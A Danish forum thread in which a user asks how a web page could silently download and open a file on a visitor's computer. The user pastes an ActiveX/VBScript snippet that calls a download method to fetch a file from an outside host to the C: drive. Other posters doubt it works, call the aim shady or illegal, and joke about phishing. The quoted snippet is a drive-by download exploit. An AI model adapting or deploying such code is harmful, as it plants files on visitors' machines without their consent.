Chart Attack

kan man ikke lave en hjemmeside, som selv går ind og åbner en fil på computeren..
f.eks hvis man nu går ind på [hjemmesiden] så download'er den selv en filen samt åbner den på computer, f.eks et billede (.jpg)

Jeg har fundet noget kode her, men synes ikke det virker


<object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
On Error Resume Next
test.HttpDownloadFile "http://www.myass.com/me.jpg", "c:\me.jpg"
MsgBox("Exploit completed!")
End Sub
</script>

</span></span>
</code></pre>

Det er vist mere kompliceret end som så...
Men... Hvad vil du bruge det til?
Det kan sgu næsten kun være shady...

Pas og narrestreger

hmm.. tror faktisk ikke det er muligt, uden hack, som ska snyde brugeren til at trykke på noget eller godkende noget..

da det der jo er et spørgsmål om sikker hed.... så tror div. browser vil blokere scriptet...

Ja er osse ret sikker på det ikke kan lade sig gøre, man kan ikke downloade og køre et program, billed etc på en brugers computer, uden en eller anden form for hack installeret i forvejen, og det er da vist ulovligt

Da Clown skrev:hmm.. tror faktisk ikke det er muligt, uden hack, som ska snyde brugeren til at trykke på noget eller godkende noget..

da det der jo er et spørgsmål om sikker hed.... så tror div. browser vil blokere scriptet...

Det er lige meget... Hvordan kan man lave det?

Gambi goes Phising?

1) Find en sårbarhed i IE, Firefox og/eller Safari.
2) Kod et script der udnytter den sårbarhed
3) Drik en kold øl og læn dig tilbage

Hehe

PsyClone skrev:3) Drik en kold øl og læn dig tilbage

Jeg er pro og går direkte til step 3 motherfucker...

Har fundet masser af det, men koderne virker ikke som jeg vil have det...
.. nå.. slut